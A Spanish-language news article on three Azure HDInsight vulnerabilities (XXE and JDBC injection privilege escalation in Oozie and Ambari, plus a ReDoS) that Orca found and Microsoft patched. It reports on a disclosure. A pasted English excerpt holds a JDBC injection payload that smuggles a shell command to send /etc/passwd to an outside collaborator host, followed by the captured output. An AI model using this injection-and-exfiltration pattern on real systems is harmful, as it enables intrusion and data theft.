Han sido identificadas tres recientes vulnerabilidades de seguridad en los servicios de Apache Hadoop, Kafka y Spark de Azure HDInsight que podrían ser explotadas para lograr una escalada de privilegios y causar una condición de denegación de servicio mediante expresiones regulares (ReDoS).

Lidor Ben Shitrit, investigador de seguridad de Orca, compartió en un informe técnico con Masterhacks, que *«las nuevas vulnerabilidades afectan a cualquier usuario autenticado de los servicios Azure HDInsight, como Apache Ambari y Apache Oozie».*

Las vulnerabilidades identificadas son las siguientes:

- CVE-2023-36419 (puntuación CVSS: 8.8) – Inyección de Entidad Externa (XXE) en el Programador de Flujo de Trabajo Apache Oozie de Azure HDInsight que conlleva una Elevación de Privilegios.
- CVE-2023-38156 (puntuación CVSS: 7.2) – Inyección de Conectividad a Bases de Datos Java (JDBC) en Apache Ambari de Azure HDInsight que conlleva una Elevación de Privilegios.
- Vulnerabilidad de Denegación de Servicio por Expresiones Regulares (ReDoS) en Apache Oozie de Azure HDInsight (sin CVE).

Ambas vulnerabilidades de escalada de privilegios podrían ser aprovechadas por un atacante autenticado con acceso al clúster HDI objetivo al enviar una solicitud de red especialmente diseñada para obtener privilegios de administrador del clúster.

```
{
  "RequestInfo":{
    "context":"Check host",
    "action":"check_host",
    "parameters":{
      "db_name":"mssql",
      "db_connection_url":
      "jdbc:sqlserver://research-orca.database.windows.net;database=research;
      encrypt=true;trustServerCertificate=true;create=false;loginTimeout=300;
      $(cat /etc/passwd | curl --data-binary @- -m 5 http://l7t5293jxrhivs5s1
      c0301y7zy5ptmhb.oastify.com | echo 1)",
      "user_name":"orca",
      "user_passwd":"SECRET:hive-site:2:javax.jdo.option.ConnectionPassword",
      "jdk_location":
      "http://hn0-resear.qgmzxfnb0oae3mpolzss3c0ueg.bx.internal.cloudapp.net:
      8080/resources",
```

Malicious Payload

Checking the collaborator -

#	Time	Type	Payload	Source IP addres
13	2023-Jul-14 12:28:56.642 UTC	DNS	l7t5293jxrhivs5s1c0301y7zy5ptmhb	40.78.224.91
14	2023-Jul-14 12:28:56.643 UTC	DNS	l7t5293jxrhivs5s1c0301y7zy5ptmhb	40.79.153.106
15	2023-Jul-14 12:28:56.697 UTC	DNS	l7t5293jxrhivs5s1c0301y7zy5ptmhb	40.78.225.210
16	2023-Jul-14 12:28:56.829 UTC	DNS	l7t5293jxrhivs5s1c0301y7zy5ptmhb	40.79.153.141
17	2023-Jul-14 12:28:57.839 UTC	HTTP	l7t5293jxrhivs5s1c0301y7zy5ptmhb	20.172.162.222
18	2023-Jul-14 12:28:58.020 UTC	HTTP	l7t5293jxrhivs5s1c0301y7zy5ptmhb	20.172.162.222

Description | Request to Collaborator | Response from Collaborator

Pretty | Raw | Hex

```
1 POST / HTTP/1.1
2 Host: l7t5293jxrhivs5s1c0301y7zy5ptmhb.oastify.com
3 User-Agent: curl/7.58.0
4 Accept: */*
5 Content-Length: 3175
6 Content-Type: application/x-www-form-urlencoded
7 Expect: 100-continue
8
9 root:x:0:0:root:/root:/bin/bash
10 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
11 bin:x:2:2:bin:/bin:/usr/sbin/nologin
12 sys:x:3:3:sys:/dev:/usr/sbin/nologin
13 sync:x:4:65534:sync:/bin:/bin/false
14 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
15 lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
16 mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
17 news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
18 uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
19 proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
20 www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
```

Next we send a reverse shell payload -

La vulnerabilidad XXE se debe a la falta de validación de la entrada del usuario, permitiendo la lectura de archivos a nivel de root y la escalada de privilegios. Por otro lado, la vulnerabilidad de inyección JDBC podría ser utilizada para obtener un shell inverso como root.

Ben Shitrit explicó que *«la vulnerabilidad ReDoS en Apache Oozie de Azure HDInsight se originó por la falta de validación adecuada de la entrada y la aplicación de restricciones, permitiendo a un atacante solicitar un amplio rango de identificadores de acción y causar un bucle intensivo, lo que lleva a una denegación de servicio (DoS)».*

La explotación exitosa de la vulnerabilidad ReDoS podría provocar una interrupción en las operaciones del sistema, causar degradación del rendimiento e impactar negativamente tanto en la disponibilidad como en la confiabilidad del servicio.

Tras una divulgación responsable, Microsoft ha implementado correcciones como parte de las actualizaciones lanzadas el 26 de octubre de 2023.

Este desarrollo ocurre aproximadamente cinco meses después de que Orca detallara una serie de ocho fallas en el servicio de análisis de código abierto que podrían ser aprovechadas para acceder a datos, secuestrar sesiones y distribuir cargas maliciosas.

En diciembre de 2023, Orca también resaltó un *«posible riesgo de abuso»* que afecta a los clústeres de Google Cloud Dataproc, aprovechando la falta de controles de seguridad en las interfaces web de Apache Hadoop y la configuración predeterminada al crear recursos para acceder a cualquier dato en el Sistema de Archivos Distribuido de Apache Hadoop (HDFS) sin autenticación.